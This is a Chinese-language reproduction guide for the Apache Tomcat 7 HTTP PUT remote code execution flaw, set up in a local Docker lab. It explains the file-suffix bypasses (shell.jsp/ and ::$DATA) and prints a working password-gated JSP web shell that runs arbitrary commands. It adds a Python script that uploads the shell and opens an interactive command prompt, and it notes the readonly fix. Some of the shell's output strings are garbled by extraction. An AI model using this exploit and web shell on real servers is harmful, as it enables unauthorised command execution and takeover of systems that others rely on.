Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。
Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当 Tomcat 运行在 Windows 或Linux主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件。并被服务器执行该文件,导致攻击者可以执行任意代码。
当然Tomcat会校验上传文件后缀以拒绝.jsp文件的上传,但在不同平台有多种方式绕过检测。在Linux下可用/,即可以PUT一个名为shell.jsp/的文件;在Windows下可用数据流标识,即shell.jsp::$DATA绕过。
具体漏洞详见:国家信息安全漏洞库
2.本次复现采用docker环境
获取tomcat容器镜像:docker pull tomcat:7.0.70
启动容器:docker run -d -p 8080:8080 --name tomcat7 tomcat:7.0.70
启动容器后访问tomcat。
进入tomcat容器,查看tomcat容器中web.xml文件,默认没有配置readonly参数值。
将tomcat容器中web.xml文件拷贝到本地修改添加readonly参数值。
docker cp 112e10b02107:/usr/local/tomcat/conf/web.xml D:\tools\testtools\securitytest\tomcat\conf\web.xml
添加readonly参数值后上传到容器即可。
将本地修改后的web.xml文件拷贝至容器中:
docker cp D:\tools\testtools\securitytest\tomcat\conf\web.xml 112e10b02107:/usr/local/tomcat/conf/web.xml
访问tomcat首页:http://127.0.0.1:8080并使用工具拦截请求:
修改请求后再次发送请求。
发送请求后响应结果,可以看到响应状态码是201。
使用浏览器访问http://127.0.0.1:8080/test.jsp,可以看到已上传成功。
下面再尝试使用工具请求上传一个shell文件。
<%
if("test".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");");while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
}
%>
访问shell文件,显示白板。
之后添加参数访问:http://127.0.0.1:8080/shell.jsp?pwd=test&i=ls -l
可以看到可以执行ls -l命令,查看当前目录文件信息。
也可以查看当前目录。
3.解决方法
将 conf/web.xml 中 readonly 设置为 true。
附录:
1.tomcat下载地址:Index of /dist/tomcat
2.Python脚本交互shell
# -*- coding:utf-8 -*-
import requests
import sys
if __name__ == "__main__":
my_url = "http://127.0.0.1:8080/she11test.jsp"
put_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Length": "374"
}
put_body = """
<%
if("she11".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
"""
r1 = requests.put(my_url+'/', headers=put_headers, data=put_body)
if r1.status_code in [201, 204]:
print('[+] Upload successfully')
else:
print('[-] Failed')
sys.exit(1)
while True:
command = input('> ')
if command == 'exit':
break
c_url = my_url + ("?pwd=she11&i={}".format(command))
r = requests.get(c_url, headers=put_headers)
print(r.text.replace('','').replace('
','').replace(' ',''))
sys.exit(2)